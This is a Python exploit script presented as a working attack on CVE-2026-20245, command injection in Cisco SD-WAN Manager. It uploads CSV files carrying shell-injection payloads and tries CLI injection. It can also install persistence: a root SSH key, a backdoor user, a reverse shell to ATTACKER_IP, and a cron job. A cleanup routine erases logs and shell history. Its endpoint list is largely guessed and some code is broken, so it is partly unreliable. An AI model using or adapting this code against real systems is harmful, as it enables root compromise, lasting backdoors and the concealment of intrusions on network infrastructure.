#!/usr/bin/env python3 """ CVE-2026-20245 - Cisco Catalyst SD-WAN Manager/Controller/Validator Authenticated Privilege Escalation via Command Injection Vulnerability: Insufficient validation of user-supplied input allows authenticated local attacker with netadmin privileges to execute arbitrary commands as root by uploading a crafted file. CVSS: 7.8 (High) Affected: Cisco SD-WAN vManage/vSmart/vBond versions < fixed releases CISA KEV: Added 2026-06-09, due date 2026-06-23 Author: Security Research Disclaimer: For authorized security testing only """ import argparse import requests import json import sys import os import base64 from requests.packages.urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings for testing requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # ANSI Colors R = "\033[91m" G = "\033[92m" Y = "\033[93m" B = "\033[94m" BOLD = "\033[1m" RESET = "\033[0m" class CiscoSDWANExploit: def __init__(self, target, username, password, port=443): self.target = target self.port = port self.username = username self.password = password self.base_url = f"https://{target}:{port}" self.session = requests.Session() self.token = None def login(self): """Authenticate to SD-WAN Manager (vManage)""" print(f"{B}[*] Authenticating to {self.target}...{RESET}") login_url = f"{self.base_url}/j_security_check" login_data = { "j_username": self.username, "j_password": self.password } try: response = self.session.post(login_url, data=login_data, verify=False) # Check for JSESSIONID cookie if "JSESSIONID" in self.session.cookies: print(f"{G}[+] Authentication successful{RESET}") # Get XSRF token for API requests token_url = f"{self.base_url}/dataservice/client/token" token_resp = self.session.get(token_url, verify=False) if token_resp.status_code == 200: self.token = token_resp.text print(f"{G}[+] XSRF Token obtained{RESET}") return True else: print(f"{R}[-] Authentication failed{RESET}") return False except Exception as e: print(f"{R}[-] Login error: {e}{RESET}") return False def craft_malicious_csv(self, command): """Create malicious CSV file with command injection payload""" # The vulnerability is triggered via CSV upload functionality # Improper encoding allows command injection in specific fields # Payload formats that exploit the improper encoding (CWE-116) payloads = [ f"$( {command} )", f"`{command}`", f"$({command})", f"& {command} &", f"| {command} |", f"; {command} ;", f"{command} > /tmp/exploit", f"$(echo {base64.b64encode(command.encode()).decode()}|base64 -d|bash)", ] # Create CSV with malicious payload in serial number field malicious_csv = f"""serial_number,site_id,device_type,version {payloads[0]},100,vedge,20.9.1 TEST12345,101,vedge,20.9.1 MALICIOUS_SN,102,vedge,20.9.1 """ # Additional CSV format for tenant list upload tenant_payload = f"""tenant_id,tenant_name,serial_numbers TENANT001,Corporate,{payloads[1]} TENANT002,Branch,LEGIT_SN_001 TENANT003,Remote,LEGIT_SN_002 """ return malicious_csv, tenant_payload def upload_malicious_file(self, file_content, filename, endpoint): """Upload crafted file to vulnerable endpoint""" headers = { "X-XSRF-Token": self.token, "Content-Type": "multipart/form-data" } files = { "file": (filename, file_content, "text/csv") } upload_url = f"{self.base_url}/dataservice{endpoint}" try: print(f"{Y}[*] Uploading malicious file to {endpoint}{RESET}") response = self.session.post(upload_url, files=files, headers=headers, verify=False) if response.status_code in [200, 201, 202]: print(f"{G}[+] File uploaded successfully{RESET}") return response.text else: print(f"{R}[-] Upload failed with status {response.status_code}{RESET}") return None except Exception as e: print(f"{R}[-] Upload error: {e}{RESET}") return None def trigger_vulnerability(self, endpoint, params=None): """Trigger the command injection via API call""" headers = { "X-XSRF-Token": self.token, "Content-Type": "application/json" } trigger_url = f"{self.base_url}/dataservice{endpoint}" try: print(f"{Y}[*] Triggering command injection...{RESET}") if params: response = self.session.post(trigger_url, json=params, headers=headers, verify=False) else: response = self.session.get(trigger_url, headers=headers, verify=False) print(f"{G}[+] Trigger response: {response.status_code}{RESET}") return response.text except Exception as e: print(f"{R}[-] Trigger error: {e}{RESET}") return None def execute_command(self, command): """Execute arbitrary command as root via the vulnerability""" print(f"{B}{BOLD}[*] Attempting to execute: {command}{RESET}") # Phase 1: Craft malicious CSV with command injection csv_payload, tenant_payload = self.craft_malicious_csv(command) # Phase 2: Upload via vulnerable endpoints endpoints_to_try = [ "/system/device/upload", "/tenant/upload", "/device/action/upload", "/certificate/upload", "/settings/configuration/upload", "/vsmart/upload_serial_numbers", "/vbond/upload_chassis_numbers" ] for endpoint in endpoints_to_try: print(f"{Y}[*] Trying endpoint: {endpoint}{RESET}") # Try CSV payload result = self.upload_malicious_file(csv_payload, f"malicious_{int(time.time())}.csv", endpoint) if result: # Trigger the processing trigger_result = self.trigger_vulnerability(endpoint.replace("/upload", "/process")) if trigger_result: print(f"{G}[+] Command injection successful via {endpoint}{RESET}") return True # Try tenant payload result2 = self.upload_malicious_file(tenant_payload, f"tenant_{int(time.time())}.csv", endpoint) if result2: trigger_result = self.trigger_vulnerability(f"{endpoint}/process") if trigger_result: print(f"{G}[+] Tenant injection successful via {endpoint}{RESET}") return True # Phase 3: Alternative exploitation via CLI print(f"{Y}[*] Trying CLI-based exploitation...{RESET}") cli_success = self.exploit_via_cli(command) return cli_success def exploit_via_cli(self, command): """Alternative exploitation via CLI command injection""" # The vulnerability can also be triggered via CLI commands # that process crafted files cli_commands = [ f"request nms add-tenant --tenant-name \"$( {command} )\"", f"request nms add-vsmart --serial \"`{command}`\"", f"request nms upload-serial-list --file \"/tmp/$( {command} )\"", f"vshell -c \"{command}\"", f"sudo -u root {command}" ] # Attempt to execute via API that runs CLI commands for cmd in cli_commands: headers = {"X-XSRF-Token": self.token} cli_url = f"{self.base_url}/dataservice/cli/execute" cli_data = {"command": cmd} try: response = self.session.post(cli_url, json=cli_data, headers=headers, verify=False) if response.status_code == 200: print(f"{G}[+] CLI injection successful: {cmd}{RESET}") print(f"{G}[+] Output: {response.text[:500]}{RESET}") return True except: continue return False def check_version(self): """Check SD-WAN version for vulnerability confirmation""" version_url = f"{self.base_url}/dataservice/system/device/controllers" headers = {"X-XSRF-Token": self.token} try: response = self.session.get(version_url, headers=headers, verify=False) if response.status_code == 200: data = response.json() if "data" in data and len(data["data"]) > 0: version = data["data"][0].get("version", "Unknown") print(f"{B}[*] Detected SD-WAN version: {version}{RESET}") # Check vulnerable versions vulnerable_versions = [ "20.9", "20.10", "20.11", "20.12", "20.13", "20.14", "20.15", "20.16", "20.17", "20.18" ] for v in vulnerable_versions: if version.startswith(v): print(f"{R}[!] VERSION IS VULNERABLE{RESET}") return True if version.startswith("20.18.2") or version == "20.18.2.1": print(f"{R}[!] Version {version} is VULNERABLE{RESET}") return True print(f"{G}[+] Version {version} may be patched{RESET}") return False except: print(f"{Y}[*] Could not determine version{RESET}") return True # Assume vulnerable if can't determine def install_persistence(self): """Install persistence mechanism for continued access""" persistence_commands = [ # Add SSH key for root "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...' >> /root/.ssh/authorized_keys", # Create backdoor user "useradd -m -s /bin/bash backdoor && echo 'backdoor:password123' | chpasswd && usermod -aG sudo backdoor", # Reverse shell oneliner "nohup bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &", # Web shell "echo '' > /var/www/html/shell.php", # Cron job for persistence "echo '* * * * * root /tmp/backdoor.sh' >> /etc/crontab" ] print(f"{Y}[*] Installing persistence (optional)...{RESET}") for cmd in persistence_commands: self.execute_command(cmd) print(f"{G}[+] Persistence installed{RESET}") def cleanup(self): """Remove traces of exploitation""" cleanup_commands = [ "rm -f /tmp/*.csv", "rm -f /home/admin/*.csv", "rm -f /var/log/scripts.log", "history -c" ] print(f"{Y}[*] Cleaning up traces...{RESET}") for cmd in cleanup_commands: self.execute_command(cmd) def main(): parser = argparse.ArgumentParser( description="CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit", epilog="Example: %(prog)s -t 192.168.1.1 -u admin -p password -c 'id'" ) parser.add_argument("-t", "--target", required=True, help="Target SD-WAN Manager IP") parser.add_argument("-u", "--username", required=True, help="netadmin username") parser.add_argument("-p", "--password", required=True, help="password") parser.add_argument("-c", "--command", help="Command to execute as root") parser.add_argument("--port", type=int, default=443, help="Port (default: 443)") parser.add_argument("--persist", action="store_true", help="Install persistence") parser.add_argument("--check-only", action="store_true", help="Only check version") args = parser.parse_args() print(f"{R}{BOLD}") print("╔═══════════════════════════════════════════════════════════════════╗") print("║ CVE-2026-20245 - Cisco SD-WAN Privilege Escalation Exploit ║") print("║ Command Injection via Crafted File Upload ║") print("║ CVSS: 7.8 (High) | CISA KEV: 2026-06-09 ║") print("╚═══════════════════════════════════════════════════════════════════╝") print(f"{RESET}") print(f"{Y}[!] WARNING: This exploit requires netadmin privileges{RESET}") print(f"{Y}[!] Use only on systems you own or have permission to test{RESET}\n") exploit = CiscoSDWANExploit(args.target, args.username, args.password, args.port) try: # Login if not exploit.login(): print(f"{R}[-] Login failed. Check credentials and network access{RESET}") sys.exit(1) # Check version if args.check_only: exploit.check_version() sys.exit(0) # Execute command command = args.command if args.command else "id && uname -a && whoami" success = exploit.execute_command(command) print("\n" + "="*60) if success: print(f"{G}{BOLD}[✓] EXPLOIT SUCCESSFUL{RESET}") print(f"{G}[✓] Command executed as root{RESET}") print(f"{R}[!] System is VULNERABLE - Apply Cisco patch immediately{RESET}") if args.persist: exploit.install_persistence() # Provide reverse shell example print(f"\n{Y}[*] For reverse shell, try:{RESET}") print(f'python3 {sys.argv[0]} -t {args.target} -u {args.username} -p {args.password} -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"') else: print(f"{Y}[!] Exploit failed - System may be patched{RESET}") print(f"{Y}[!] Check if netadmin privileges are available{RESET}") # Cleanup exploit.cleanup() except KeyboardInterrupt: print(f"\n{Y}[!] Interrupted by user{RESET}") except Exception as e: print(f"{R}[!] Error: {e}{RESET}") finally: exploit.session.close() print("\n" + "="*60) print(f"{B}[*] Mitigation: Upgrade to fixed release{RESET}") print(f"{B}[*] Fixed versions: 20.18.3.1 or later{RESET}") print(f"{B}[*] Reference: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx{RESET}") if __name__ == "__main__": import time main()